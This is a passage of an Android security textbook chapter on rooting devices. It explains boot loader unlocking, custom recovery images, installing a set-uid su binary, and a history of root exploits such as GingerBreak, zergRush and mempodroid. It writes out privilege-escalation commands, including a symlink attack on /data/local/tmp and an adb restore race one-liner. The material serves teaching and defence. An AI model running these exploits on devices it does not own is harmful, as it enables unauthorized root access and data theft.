interface controlled by hardware buttons. The stock Android recovery is intentionally very limited in functionality. It does the minimal things necessary to comply with the Android Compatibility Def nitions at http://source.android.com/compatibility/index.html. Similar to accessing download mode you access the recovery by pressing a certain key-press combination when booting the device. In addition to using key-presses it is possible to instruct a booted Android system to reboot into recovery mode through the command adb reboot recovery. The command- line Android Debug Bridge ADB tool is available as part of the Android SDK or AOSP repository at http://developer.android.com/sdk/index.html.

slide 96:

64 Chapter 3 ■ Rooting Your Device c03.indd 12:15:57:PM 03/04/2014 Page 64 One of the most commonly used features of the recovery is to apply an update package. Such a package consists of a zip f le containing a set of f les to be cop- ied to the device some metadata and an updater script. This updater script tells the Android recovery which operations to perform on the device to apply the update modif cations. This could include mounting the system partition making sure the device and operating system versions match with the one the update package was created for verifying SHA1 hashes of the system f les that are going to be replaced and so on. Updates are cryptographically signed using an RSA private key. The recovery verif es the signature using the correspond- ing public key prior to applying the update. This ensures only authenticated updates can be applied. The following snippet shows the contents of a typical Over-the-Air OTA update package. Extracting an OTA Update Package for Nexus 4 unzip 625f5f7c6524.signed-occam-JOP40D-from-JOP40C.625f5f7c.zip Archive: 625f5f7c6524.signed-occam-JOP40D-from-JOP40C.625f5f7c.zip signed by SignApk inflating: META-INF/com/android/metadata inflating: META-INF/com/google/android/update-binary inflating: META-INF/com/google/android/updater-script inflating: patch/system/app/ApplicationsProvider.apk.p inflating: patch/system/app/ApplicationsProvider.odex.p inflating: patch/system/app/BackupRestoreConfirmation.apk.p inflating: patch/system/app/BackupRestoreConfirmation.odex.p ... inflating: patch/system/lib/libwebcore.so.p inflating: patch/system/lib/libwebrtc_audio_preprocessing.so.p inflating: recovery/etc/install-recovery.sh inflating: recovery/recovery-from-boot.p inflating: META-INF/com/android/otacert inflating: META-INF/MANIFEST.MF inflating: META-INF/CERT.SF inflating: META-INF/CERT.RSA Custom Android recovery images exist for most devices. If one is not available you can easily create it by applying custom modif cations to the stock Android recovery source code from the AOSP repository. The most common modif cations included in custom recovery images are ■ Including a full backup and restore functionality such as NANDroid script ■ Allow unsigned update packages or allow signed packages with custom keys ■ Selectively mounting device partitions or SD card ■ Provide USB mass storage access to SD card or data partitions

slide 97:

Chapter 3 ■ Rooting Your Device 65 c03.indd 12:15:57:PM 03/04/2014 Page 65 ■ Provide full ADB access with the ADB daemon running as root ■ Include a fully featured BusyBox binary Popular custom recovery images with builds for multiple devices are ClockworkMod recovery or TeamWin Recovery Project TWRP. Figure 3-2 shows stock and ClockworkMod recovery screens. Figure 3-2: Android recovery and ClockworkMod Recovery WARNING Keeping a custom recovery image with signature restrictions removed or full ADB access exposed on your Android device also leaves an open door to obtaining all user data contained on the device’s partitions. Rooting with an Unlocked Boot Loader The process of rooting culminates in having an su binary with the proper set-uid permissions on the system partition. This allows elevating privileges whenever needed. The su binary is usually accompanied by an Android application such as SuperUser or SuperSU that provides a graphical prompt each time an appli- cation requests root access. If the request is granted the application invokes the su binary to execute the requested command. These su wrapper Android

slide 98:

66 Chapter 3 ■ Rooting Your Device c03.indd 12:15:57:PM 03/04/2014 Page 66 applications also manage which applications or users should be granted root access automatically without prompting the user. NOTE The latest version of Chainfi re SuperSU can be downloaded as a recov- ery update package from http://download.chainfire.eu/supersu or as a standalone application from Google Play at https://play.google.com/store/ apps/detailsideu.chainfire.supersu. The ClockworkMod SuperUser package can be obtained from Google Play at https://play.google.com/store/apps/detailsidcom .koushikdutta.superuser. The source code is available at https://github .com/koush/Superuser. On devices with an unlocked or unlockable boot loader gaining root access is very easy as you do not have to rely on exploiting an unpatched security hole. The f rst step is to unlock the boot loader. If you haven’t done it already depend- ing on the device you should either use fastboot oem unlock as described in the “Locked and Unlocked Boot Loaders” section or use a vendor-specif c boot loader unlock tool to legitimately unlock the device. At the time of this writing Motorola HTC and Sony-Ericsson support boot loader unlocking on some devices through their unlock portal websites. NOTE The boot loader unlock portal for Motorola is available at https:// motorola-global-portal.custhelp.com/app/standalone/bootloader/ unlock-your-device-a. The boot loader unlock portal for HTC is available at http://www.htcdev.com/ bootloader. The boot loader unlock portal for SonyEricsson is available at http:// unlockbootloader.sonymobile.com/. When the boot loader is unlocked the user is free to make custom mod- if cations to the device. At this point there are several ways to include the appropriate su binary for the device’s architecture in the system partition with the correct permissions. You can modify a factory image to add an su binary . In this example we unpack an ext4 formatted system image mount it add an su binary and repack it. If we f ash this image it will contain the su binary and the device will be rooted. mkdir systemdir simg2img system.img system.raw mount -t ext4 -o loop system.raw systemdir cp su systemdir/xbin/su chown 0:0 systemdir/xbin/su chmod 6755 systemdir/xbin/su make_ext4fs -s -l 512M -a system custom-system.img systemdir umount systemdir

slide 99:

Chapter 3 ■ Rooting Your Device 67 c03.indd 12:15:57:PM 03/04/2014 Page 67 If the device is an AOSP-supported device you can compile a userdebug or eng Android build from source. Visit http://source.android.com/source/ building.html for more information on building Android from source. These build conf gurations provide root access by default: curl http://commondatastorage.googleapis.com/git-repo-downloads/repo \ -o /bin/repo chmod a+x /bin/repo repo init -u https://android.googlesource.com/platform/manifest repo sync source build/envsetup.sh lunch full_maguro-userdebug Whether you built your custom system image by modifying a factory image or by compiling your own you must f ash the system partition for it to take effect. For example the following command shows how to f ash this image using the fastboot protocol: fastboot flash system custom-system.img The most straightforward method is to boot a custom recovery image. This allows copying the su binary into the system partition and setting the appropri- ate permissions through a custom update package. NOTE When using this method you are booting the custom recovery image with- out fl ashing it so you use it only to fl ash an su binary on the system partition without modifying the recovery partition at all. To do this download a custom recovery image and su update package. The custom recovery image can be one of your choosing as long as it supports your device. Similarly the su update package can be SuperSU SuperUser or another of your choice. 1. You should place both downloads into the device’s storage typically on the SD card mounted as /sdcard. 2. Next put the device into fastboot mode. 3. Now open a command prompt and type fastboot boot recovery.img where recovery.img is the raw recovery image you downloaded. 4. From the recovery menu select the option to apply an update zip f le and browse to the folder on your device storage where you have placed the update package with the su binary. Additionally devices using Android 4.1 or later contain a new feature called sideload. This feature allows applying an update zip over ADB without copy- ing it to the device beforehand. To sideload an update run the command adb sideload su-package.zip where su-package.zip is the f lename of the update package on your computer’s hard drive.

slide 100:

68 Chapter 3 ■ Rooting Your Device c03.indd 12:15:57:PM 03/04/2014 Page 68 After unlocking the boot loader on some devices you can boot unsigned code but you can’t f ash unsigned code. In this case f ashing a custom system or recovery image is only possible after gaining root on the booted system. In this scenario you would use dd to write a custom recovery image directly to the block device for the recovery partition. Rooting with a Locked Boot Loader When the boot loader is locked and the manufacturer doesn’t provide a legiti- mate method to unlock it you usually need to f nd a f aw in the device that will serve as an entry point for rooting it. First you need to identify which type of boot loader lock you have it can vary depending on the manufacturer carrier device variant or software ver- sion within the same device. Sometimes fastboot access is forbidden but you can still f ash using the manufacturer’s proprietary f ashing protocol such as Motorola SBF or Samsung ODIN. Sometimes signature checks on the same device are enforced differently when using fastboot instead of the manufac- turer’s proprietary download mode. Signature checking can happen at boot time at f ashing time or both. Some locked boot loaders only enforce signature verif cation on selected partitions a typical example is having locked boot and recovery partitions. In this case booting a custom kernel or a modif ed recovery image is not allowed but you can still modify the system partition. In this scenario you can perform rooting by editing the system partition of a stock image as described in the “Rooting with an Unlocked Boot Loader” section. On some devices where the boot partition is locked and booting a custom kernel is forbidden it is possible to f ash a custom boot image in the recovery partition and boot the system with the custom kernel by booting in recovery mode when powering on the phone. In this case it is possible to get root access through adb shell by modifying the default.prop f le of the custom boot image initrd as you’ll see in the “ Abusing adbd to Get Root” section. On some devices the stock recovery image allows applying updates signed with the default Android test key. This key is a generic key for packages that do not otherwise specify a key. It is included in the build/target/product/security directory in the AOSP source tree. You can root by applying a custom update package containing the su binary. It is unknown whether the manufacturer has left this on purpose or not but this is known to work on some Samsung devices with Android 4.0 and stock recovery 3e. In the worst-case scenario boot loader restrictions won’t allow you to boot with a partition that fails signature verif cation. In this case you have to use

slide 101:

Chapter 3 ■ Rooting Your Device 69 c03.indd 12:15:57:PM 03/04/2014 Page 69 other techniques to achieve root access as described in the “Gaining Root on a Booted System” section. Gaining Root on a Booted System Gaining initial root access on a booted system consists of getting a root shell through an unpatched security f aw in the Android operating system. A root- ing method like this is also widely known as a soft root because the attack is almost entirely software based. Usually a soft root is accomplished through a vulnerability in the Android kernel a process running as root a vulnerable program with the set-uid bit set a symbolic link attack against a f le permission bug or other issues. There are a vast number of possibilities due to the sheer number of areas in which issues could be introduced and types of mistakes programmers could make. Although root set-uid or set-gid binaries are not common in stock Android carriers or device manufacturers sometimes introduce them as part of their custom modif cations. A typical security f aw in any of these set-uid binaries can lead to privilege escalation and subsequently yield root access. Another typical scenario is exploiting a security vulnerability in a process running with root privileges. Such an exploit enables you to execute arbitrary code as root. The end of this chapter includes some examples of this. As you will see in Chapter 12 these exploits are becoming more diff cult to develop as Android matures. New mitigation techniques and security harden- ing features are regularly introduced with new Android releases. Abusing adbd to Get Root It is important to understand that the adbd daemon will start running as root and drop its privileges to the shell user AID_SHELL unless the system property ro.secure is set to 0. This property is read-only and is usually set to ro.secure1 by the boot image initrd. The adbd daemon will also start as root without dropping privileges to shell if the property ro.kernel.qemu is set to 1 to start adbd running as root on the Android emulator but this is also a read-only property that will not normally be set on a real device. Android versions before 4.2 will read the /data/local.prop f le on boot and apply any properties set in this f le. As of Android 4.2 this f le will only be read on non-user builds if ro.debuggable is set to 1. The /data/local.prop f le and the ro.secure and ro.kernel.qemu proper- ties are of key importance for gaining root access. Keep those in mind as you will see some exploits using them in the “History of Known Attacks” section later in this chapter.

slide 102:

70 Chapter 3 ■ Rooting Your Device c03.indd 12:15:57:PM 03/04/2014 Page 70 NAND Locks Temporary Root and Permanent Root Some HTC devices have a security f ag secuflag in the radio Non-Volatile Random Access Memory NVRAM which is checked by the device boot loader HBOOT. When this f ag is set to “true” the boot loader displays a “security on” message S-ON and a NAND lock is enforced. The NAND lock prevents writing to the system boot and recovery partitions. With S-ON a reboot loses root and writes on these partitions won’t stick. This makes custom system ROMs custom kernels and custom recovery modif cations impossible. It is still possible to gain root access through an exploit for a suff ciently severe vulnerability. However the NAND lock causes any changes to be lost on reboot. This is known as a temporary root in the Android modding community. To achieve a permanent root on HTC devices with a NAND lock one of two things must be done. First you can disable the security f ag in the baseband. Second you can f ash the device with a patched or engineering HBOOT that does not enforce NAND locking. In both cases the boot loader displays a security off message S-OFF. Figure 3-3 shows a locked and unlocked HTC HBOOT. Figure 3-3: Locked and Unlocked HTC HBOOT Before HTC provided the off cial boot loader unlock procedure in August 2011 a patched HBOOT was the only solution available. This could be accomplished on some devices by unoff cial boot loader unlock tools such as AlphaRev avail- able at http://alpharev.nl/ and Unrevoked available at http://unrevoked .com/ which later merged into the Revolutionary.io tool available at http:// revolutionary.io/. Those tools usually combine multiple public or private exploits to be able to f ash the patched boot loader and bypass NAND locks. In most cases ref ashing a stock HBOOT re-enables the device security f ag S-ON. The Unlimited.io exploits available at http://unlimited.io/ such as JuopunutBear LazyPanda and DirtyRacun allow gaining full radio S-OFF on

slide 103:

Chapter 3 ■ Rooting Your Device 71 c03.indd 12:15:57:PM 03/04/2014 Page 71 some devices by combining several exploits present in HTC’s Android ROMs and the device’s baseband. In December 2010 Scott Walker published the gfree exploit available at https:// github.com/tmzt/g2root-kmod/tree/master/scotty2/gfree under the GPL3 license. This exploit disabled the embedded MultiMediaCard eMMC protection of the T-Mobile G2. The eMMC memory which holds the baseband partition is booted in read-only mode when the bootloader initializes the hardware. The exploit then power-cycles the eMMC chip by using a Linux kernel module and sets the secuflag to false. Finally it installs a MultiMediaCard MMC block request f lter in the kernel to remove the write protection on the hidden radio settings partition. When HTC started its off cial unlock portal it provided HBOOT images for some devices which allow the user to unlock the boot loader—and remove NAND locks—in two steps: 1. First the user should run the command fastboot oem get_identifier_ token. The boot loader displays a blob that the user should submit to HTC’s unlock portal. 2. After submitting the identif er token the user receives an Unlock_code .bin f le unique for his phone. This f le is signed with HTC’s private key and should be f ashed to the device using the command fastboot flash unlocktoken Unlock_code.bin. If the Unlock_code.bin f le is valid the phone allows using the standard fastboot flash commands to f ash unsigned partition images. Further it enables booting such unsigned partition images without restrictions. Figure 3-4 depicts the general workf ow for unlocking devices. HTC and Motorola are two OEMs that utilize this type of process. Other devices such as some Toshiba tablets also have NAND locks. For those devices the locks are enforced by the sealime Loadable Kernel Module which resides in the boot image initrd. This module is based on SEAndroid and prevents remounting the system partition for writing. Persisting a Soft Root When you have a root shell soft root achieving permanent root access is straightforward. On phones without NAND locks you only need write access to the system partition. If the phone has a NAND lock it should be removed f rst refer to the “NAND Locks Temporary Root and Permanent Root” section earlier in this chapter. With NAND locks out of the picture you can simply remount the system partition in read/write mode place an su binary with set-uid root permissions and remount it in read-only mode again optionally you can install an su wrap- per such as SuperUser or SuperSU.

slide 104:

72 Chapter 3 ■ Rooting Your Device c03.indd 12:15:57:PM 03/04/2014 Page 72 Boot Loader Locked Device Step 1 User gets the phone’s unlock token using fastboot Step 2 User submits the unlock token token to the OEM unlock portal Step 3 The unlock portal validates the token and sends the unlock key Step 4 The user unlock the device using the provided unlock key and fastboot Boot Loader Unlocked Unlock Portal USER Figure 3-4: General boot loader unlock workflow A typical way of automating the process just described is by running the following commands from a host computer connected to an Android device with USB debugging enabled: adb shell mount -o remountrw /system adb adb push su /system/xbin/su adb shell chown 0.0 /system/xbin/su adb shell chmod 06755 /system/xbin/su adb shell mount -o remountro /system adb install Superuser.apk Another way of retaining persistent root access is by writing a custom recovery into the recovery partition using the dd command on the Android device. This is equivalent to f ashing a custom recovery via fastboot or download mode as described in the “Rooting with an Unlocked Boot Loader” section earlier in this chapter. First you need to identify the location of the recovery partition on the device. For example: shellandroid:/ ls -l /dev/block/platform//by-name/recovery lrwxrwxrwx root root 2012-11-20 14:53 recovery - /dev/block/mmcblk0p7 The preceding output shows the recovery partition in this case is located at /dev/block/mmcblk0p7.

slide 105:

Chapter 3 ■ Rooting Your Device 73 c03.indd 12:15:57:PM 03/04/2014 Page 73 You can now push a custom recovery image onto the SD card and write it to the recovery partition: adb shell push custom-recovery.img /sdcard/ adb shell dd if/sdcard/custom-recovery.img of/dev/block/mmcblk0p7 Finally you need to reboot into the custom recovery and apply the su update package. adb reboot recovery History of Known Attacks The remainder of this section discusses numerous previously known methods for gaining root access to Android devices. By presenting these issues we hope to provide insight into the possible ways you can gain root access to Android devices. Although a few of these issues affect the larger Linux ecosystem most are Android specif c. Many of these issues cannot be exploited without access to the ADB shell. In each case we discuss the root cause of the vulnerability and key details of how the exploit leveraged it. NOTE The astute reader may notice that several of the following issues were unknowingly discovered by multiple separate parties. Although this is not a common occurrence it does happen from time to time. Some of the exploitation details provided in this section are rather technical. If they are overwhelming or you are already intimately familiar with the inner workings of these exploits feel free to skip past them. In any case this section serves to document these exploits in moderate detail. Chapter 8 covers a few of these exploits in more detail. Kernel: Wunderbar/asroot This bug was discovered by Tavis Ormandy and Julien Tinnes of the Google Security Team and was assigned CVE-2009-2692: The Linux kernel 2.6.0 through 2.6.30.4 and 2.4.4 through 2.4.37.4 does not initialize all function pointers for socket operations in proto_ops struc- tures which allows local users to trigger a NULL pointer dereference and gain privileges by using mmap to map page zero placing arbitrary code on this page and then invoking an unavailable operation as demonstrated by the sendpage operation sock_sendpage function on a PF_PPPOX socket.

slide 106:

74 Chapter 3 ■ Rooting Your Device c03.indd 12:15:57:PM 03/04/2014 Page 74 Brad Spengler spender wrote the Wunderbar emporium exploit for x86/ x86_64 which is where this bug got its famous name. However the exploit for Android Linux on the ARM architecture was released by Christopher Lais Zinx is named asroot and is published at http://g1files.webs.com/Zinx /android-root-20090816.tar.gz. This exploit worked on all Android versions that used a vulnerable kernel. The asroot exploit introduces a new “.NULL” section at address 0 with the exact size of a page. This section contains code that sets the current user identif er UID and group identif er GID to root. Next the exploit calls sendfile to cause a sendpage operation on a PF _BLUETOOTH socket with missing initialization of the proto _ops structure. This causes the code in the “.NULL” section to be executed in kernel mode yielding a root shell. Recovery: Volez A typographical error in the signature verif er used in Android 2.0 and 2.0.1 recovery images caused the recovery to incorrectly detect the End of Central Directory EOCD record inside a signed update zip f le. This issue resulted in the ability to modify the contents of a signed OTA recovery package. The signature verif er error was spotted by Mike Baker mbm and it was abused to root the Motorola Droid when the f rst off cial OTA package was released. By creating a specially crafted zip f le it was possible to inject an su binary into the signed OTA zip f le. Later Christopher Lais Zinx wrote Volez a utility for creating customized update zip f les out of a valid signed update zip which is available at http://zenthought.org/content/project/volez. Udev: Exploid This vulnerability affected all Android versions up to 2.1. It was originally discovered as a vulnerability in the udev daemon used on x86 Linux systems. It was assigned CVE-2009-1185. Later Google reintroduced the issue in the init daemon which handles the udev functionality in Android. The exploit relies on udev code failing to verify the origin of a NETLINK message. This failure allows a user-space process to gain privileges by send- ing a udev event claiming to originate from the kernel which was trusted. The original Exploid exploit released by Sebastian Krahmer “The Android Exploid Crew” had to be run from a writable and executable directory on the device. First the exploit created a socket with a domain of PF_NETLINK and a fam- ily of NETLINK _KOBJECT _UEVENT kernel message to user-space event. Second it created a f le hotplug in the current directory containing the path to the exploid binary. Third it created a symbolic link called data in the current

slide 107:

Chapter 3 ■ Rooting Your Device 75 c03.indd 12:15:57:PM 03/04/2014 Page 75 directory pointing to /proc/sys/kernel/hotplug. Finally it sent a spoofed message to the NETLINK socket. When init received this message and failed to validate its origin it pro- ceeded to copy the contents of the hotplug f le to the f le data. It did this with root privileges. When the next hotplug event occurred such as disconnecting and reconnecting the Wi-Fi interface the kernel executed the exploid binary with root privileges. At this point the exploit code detected it was running with root privileges. It proceeded to remount the system partition in read/write mode and created a set-uid root shell as /system/bin/rootshell. Adbd: RageAgainstTheCage As discussed in the “ Abusing adbd to Get Root” section the ADB daemon adbd process starts running as root and drops privileges to the shell user. In Android versions up to 2.2 the ADB daemon did not check the return value of the setuid call when dropping privileges. Sebastian Krahmer used this missing check in adbd to create the RageAgainstTheCage exploit available at http://stealth .openwall.net/xSports/RageAgainstTheCage.tgz. The exploit has to be run through the ADB shell under the shell UID. Basically it forks processes until the fork call fails meaning that the limit of process for that user has been reached. This is a kernel-enforced hard limit called RLIMIT _ NPROC which specif es the maximum number of processes or threads that can be created for the real UID of the calling process. At this point the exploit kills adbd causing it to restart as root again. Unfortunately this time adbd can’t drop privileges to shell because the process limit has been reached for that user. The setuid call fails adbd doesn’t detect this failure and therefore continues running with root privileges. Once successful adbd provides a root shell through adb shell command. Zygote: Zimperlich and Zysploit Recall from Chapter 2 that all Android applications start by being forked from the Zygote process. As you might guess the zygote process runs as root. After forking the new process drops its privileges to the UID of the target application using the setuid call. Very similar to RageAgainstTheCage the Zygote process in Android versions up to 2.2 failed to check the return value of the call to setuid when dropping privileges. Again after exhausting the maximum number of processes for the application’s UID zygote fails to lower its privileges and launches the applica- tion as root.

slide 108:

76 Chapter 3 ■ Rooting Your Device c03.indd 12:15:57:PM 03/04/2014 Page 76 This vulnerability was exploited by Joshua Wise in early releases of the Unrevoked unlock tool. Later when Sebastian Krahmer made the Zimperlich exploit sources public at http://c-skills.blogspot.com.es/2011/02/ zimperlich-sources.html Joshua Wise decided to open source his Zysploit implementation too available at https://github.com/unrevoked/zysploit. Ashmem: KillingInTheNameOf and psneuter The Android Shared Memory ashmem subsystem is a shared memory alloca- tor. It is similar to POSIX Shared Memory SHM but with different behavior and a simpler f le-based application programming interface API. The shared memory can be accessed via mmap or f le I/O. T wo popular root exploits used a vulnerability in the ashmem implementation of Android versions prior to 2.3. In affected versions ashmem allowed any user to remap shared memory belonging to the init process. This shared memory contained the system properties address space which is a critical global data store for the Android operating system. This vulnerability has the Common Vulnerabilities and Exposures CVE identif er CVE-2011-1149. The KillingInTheNameOf exploit by Sebastian Krahmer remapped the sys- tem properties space to be writable and set the ro.secure property to 0. After rebooting or restarting adbd the change in the ro.secure property enabled root access through the ADB shell. You can download the exploit from http:// c-skills.blogspot.com.es/2011/01/adb-trickery-again.html. The psneuter exploit by Scott Walker scotty2 used the same vulnerability to restrict permissions to the system properties space. By doing so adbd could not read the value of the ro.secure property to determine whether or not to drop privileges to the shell user. Unable to determine the value of ro.secure it assumed that ro.secure value was 0 and didn’t drop privileges. Again this enabled root access through the ADB shell. You can download psneuter at https://github.com/tmzt/g2root-kmod/tree/scotty2/scotty2/psneuter. Vold: GingerBreak This vulnerability has been assigned CVE-2011-1823 and was f rst demonstrated by Sebastian Krahmer in the GingerBreak exploit available at http://c-skills .blogspot.com.es/2011/04/yummy-yummy-gingerbreak.html. The volume manager daemon vold on Android 3.0 and 2.x before 2.3.4 trusts messages that are received from a PF_NETLINK socket which allows executing arbitrary code with root privileges via a negative index that bypasses a maximum-only signed integer check.

slide 109:

Chapter 3 ■ Rooting Your Device 77 c03.indd 12:15:57:PM 03/04/2014 Page 77 Prior to triggering the vulnerability the exploit collects various information from the system. First it opens /proc/net/netlink and extracts the process iden- tif er PID of the vold process. It then inspects the system’s C library libc.so to f nd the system and strcmp symbol addresses. Next it parses the Executable and Linkable Format ELF header of the vold executable to locate the Global Offset Table GOT section. It then parses the vold.fstab f le to f nd the device’s /sdcard mount point. Finally in order to discover the correct negative index value it intentionally crashes the service while monitoring logcat output. After collecting information the exploit triggers the vulnerability by sending malicious NETLINK messages with the calculated negative index value. This causes vold to change entries in its own GOT to point to the system function. After one of the targeted GOT entries is overwritten vold ends up executing the GingerBreak binary with root privileges. When the exploit binary detects that it has been executed with root privileges it launches the f nal stage. Here the exploit f rst remounts /data to remove the nosuid f ag. Then it makes /data/local/tmp/sh set-uid root. Finally it exits the new process running as root and executes the newly created set-uid root shell from the original exploit process. A more detailed case study of this vulnerability is provided in the “GingerBreak” section of Chapter 8. PowerVR: levitator In October 2011 Jon Larimer and Jon Oberheide released the levitator exploit at http://jon.oberheide.org/files/levitator.c. This exploit uses two distinct vulnerabilities that affect Android devices with the PowerVR SGX chipset. The PowerVR driver in Android versions up to 2.3.5 specif cally contained the fol- lowing issues. CVE-2011-1350: The PowerVR driver fails to validate the length parameter provided when returning a response data to user mode from an ioctl sys- tem call causing it to leak the contents of up to 1MB of kernel memory. CVE-2011-1352: A kernel memory corruption vulnerability that leads any user with access to /dev/pvrsrvkm to have write access to the previous leaked memory. The levitator exploit takes advantage of these two vulnerabilities to surgically corrupt kernel memory. After achieving privilege escalation it spawns a shell. A more detailed case study of this vulnerability is provided in Chapter 10.

slide 110:

78 Chapter 3 ■ Rooting Your Device c03.indd 12:15:57:PM 03/04/2014 Page 78 Libsysutils: zergRush The Revolutionary team released the popular zergRush exploit in October 2011 sources are available at https://github.com/revolutionary/zergRush. The vulnerability exploited was assigned CVE-2011-3874 as follows: Stack-based buffer overflow in libsysutils in Android 2.2.x through 2.2.2 and 2.3.x through 2.3.6 allows user-assisted remote attackers to execute arbitrary code via an application that calls the FrameworkListener:: dispatchCommand method with the wrong number of arguments as demonstrated by zergRush to trigger a use-after-free error. The exploit uses the Volume Manager daemon to trigger the vulnerability as it is linked against the libsysutils.so library and runs as root. Because the stack is non-executable the exploit constructs a Return Oriented Programming ROP chain using gadgets from libc.so library. It then sends vold a specially crafted FrameworkCommand object making the RunCommand point to the exploit’s ROP payload. This executes the payload with root privileges which drops a root shell and changes the ro.kernel.qemu property to 1. As mentioned previously this causes ADB to restart with root privileges. A more detailed case study of this vulnerability is provided in Chapter 8. Kernel: mempodroid The vulnerability was discovered by Jüri Aedla and was assigned CVE identi- f er CVE-2012-0056: The mem_write function in Linux kernel 2.6.39 and other versions when ASLR is disabled does not properly check permissions when writing to / proc/pid/mem which allows local users to gain privileges by modifying process memory as demonstrated by Mempodipper. The /proc/pid/mem proc f le system entry is an interface that can be used to access the pages of a process’s memory through POSIX f le operations such as open read and lseek. In kernel version 2.6.39 the protections to access other processes memory were mistakenly removed. Jay Freeman saurik wrote the mempodroid exploit for Android based on a previous Linux exploit mempodipper by Jason A. Donenfeld zx2c4. The mempodroid exploit uses this vulnerability to write directly to the code seg- ment of the run-as program. This binary used to run commands as a specif c application UID runs set-uid root on stock Android. Because run-as is statically linked on Android the exploit needs the address in memory of the setresuid call and the exit function so that the payload can be placed exactly at the right

slide 111:

Chapter 3 ■ Rooting Your Device 79 c03.indd 12:15:57:PM 03/04/2014 Page 79 place. Sources for the mempodroid exploit are available at https://github. com/saurik/mempodroid. A more detailed case study of this vulnerability is provided in Chapter 8. File Permission and Symbolic Link–Related Attacks There are plenty of f le permission and symbolic link–related attacks present in a range of devices. Most of them are introduced by custom OEM modif cations that are not present in stock Android. Dan Rosenberg has discovered many of these bugs and has provided very creative root methods for a comprehensive list of devices in his blog at http://vulnfactory.org/blog/. Initial versions of Android 4.0 had a bug in the init functions for do_chmod mkdir and do_chown that applied the ownership and f le permissions specif ed even if the last element of their target path was a symbolic link. Some Android devices have the following line in their init.rc script. mkdir /data/local/tmp 0771 shell shell As you can guess now if the /data/local folder is writeable by the user or group shell you can exploit this f aw to make the /data folder writeable by replacing /data/local/tmp with a symbolic link to /data and rebooting the device. After rebooting you can create or modify the /data/local.prop f le to set the property ro.kernel.qemu to 1. The commands to exploit this f aw are as follows: adb shell rm -r /data/local/tmp adb shell ln -s /data/ /data/local/tmp adb reboot adb shell "echo ro.kernel.qemu1 /data/local.prop" adb reboot Another popular variant of this vulnerability links /data/local/tmp to the system partition and then uses debugfs to write the su binary and make it set- uid root. For example the ASUS Transformer Prime running Android 4.0.3 is vulnerable to this variant. The init scripts in Android 4.2 apply O _NOFOLLOW semantics to prevent this class of symbolic link attacks. Adb Restore Race Condition Android 4.0 introduced the ability to do full device backups through the adb backup command. This command backs up all data and applications into the f le backup.ab which is a compressed TAR f le with a prepended header. The adb restore command is used to restore the data. There were two security issues in the initial implementation of the restore process that were f xed in Android 4.1.1. The f rst issue allowed creating f les and

slide 112:

80 Chapter 3 ■ Rooting Your Device c03.indd 12:15:57:PM 03/04/2014 Page 80 directories accessible by other applications. The second issue allowed restoring f le sets from packages that run under a special UID such as system without a special backup agent to handle the restore process. To exploit these issues Andreas Makris Bin4ry created a specially crafted backup f le with a world readable/writeable/executable directory containing 100 f les with the content ro.kernel.qemu1 and ro.secure0 inside it. When the contents of this f le are written to /data/local.prop it makes adbd run with root privileges on boot. The original exploit can be downloaded at http:// forum.xda-developers.com/showthread.phpt1886460. The following one-liner if executed while the adb restore command is run- ning causes a race between the restore process in the backup manager service and the while loop run by the shell user: adb shell "while ln -s /data/local.prop \ /data/data/com.android.settings/a/file99 do : done" If the loop creates the symbolic link in file99 before the restore process restores it the restore process follows the symbolic link and writes the read-only system properties to /data/local.prop making adbd run as root in the next reboot. Exynos4: exynos-abuse This vulnerability exists in a Samsung kernel driver and affects devices with an Exynos 4 processor. Basically any application can access the /dev /exynosmem device f le which allows mapping all physical RAM with read and write permissions. The vulnerability was discovered by alephzain who wrote the exynos- abuse exploit to demonstrate it and reported it on XDA-developers forums. The original post is available at http://forum.xda-developers.com/showthread .phpt2048511. First the exploit maps kernel memory and changes the format string for the function handling /proc/kallsyms in order to avoid the kptr_restrict kernel miti- gation. Then it parses /proc/kallsyms to f nd the address of the sys_setresuid system call handler function. Once found it patches the function to remove a permission check and executes the setresuid system call in user space to become root. Finally it reverses the changes it made to kernel memory and executes a root shell. Later alephzain created a one-click rooting application called Framaroot. Framaroot embeds three variants of the original bug which each allows unprivi- leged users to map arbitrary physical memory. This application works on devices based on the Exynos4 chipset and as well as devices based on the TI OMAP3 chipset. Most notably alephzain discovered that Samsung did not properly f x

slide 113:

Chapter 3 ■ Rooting Your Device 81 c03.indd 12:15:57:PM 03/04/2014 Page 81 the Exynos4 issue. He embedded a new exploit in Framaroot that exploits an integer overf ow present in the Samsung f x. This allows bypassing the additional validation and again enables overwriting kernel memory. These new exploits were silently included in Farmaroot by alephzain and later uncovered and documented by Dan Rosenberg at http://blog.azimuthsecurity.com/2013/02/ re-visiting-exynos-memory-mapping-bug.html. Diag: lit / diaggetroot This vulnerability was discovered by giantpune and was assigned CVE identi- f er CVE-2012-4220: diagchar_core.c in the Qualcomm Innovation Center QuIC Diagnostics aka DIAG kernel-mode driver for Android 2.3 through 4.2 allows attack- ers to execute arbitrary code or cause a denial of service incorrect pointer dereference via an application that uses crafted arguments in a local diagchar_ioctl call. The lit exploit used this vulnerability to cause the kernel to execute native code from user-space memory. By reading from the /sys/class/leds/ lcd-backlight/reg f le it was possible to cause the kernel to process data structures in user-space memory. During this processing it called a function pointer from one of the structures leading to privilege escalation. The diaggetroot exploit for the HTC J Butterf y device also used this vulner- ability. However on that device the vulnerable character device is only acces- sible by user or group radio. To overcome this situation the researcher abused a content provider to obtain an open f le descriptor to the device. Gaining root using this method was only possible with the combination of the two techniques. You can download the exploit code at https://docs.google.com/ file/d/0B8LDObFOpzZqQzducmxjRExXNnM/editpli1. Summary R ooting an Android device gives you full control over the Android system. However if you don’t take any precautions to f x the open paths to gain root access the system security can be easily compromised by an attacker. This chapter described the key concepts to understand the rooting process. It went through legitimate boot loader unlock methods such as the ones present in devices with an unlocked boot loader as well as other methods that allow gaining and persisting root access on a device with a locked boot loader. Finally

slide 114:

82 Chapter 3 ■ Rooting Your Device c03.indd 12:15:57:PM 03/04/2014 Page 82 you saw an overview of the most famous root exploits that have been used dur- ing the past decade to root many Android devices. The next chapter dives into Android application security. It covers common security issues affecting Android applications and demonstrates how to use free public tools to perform application security assessments.

slide 115:

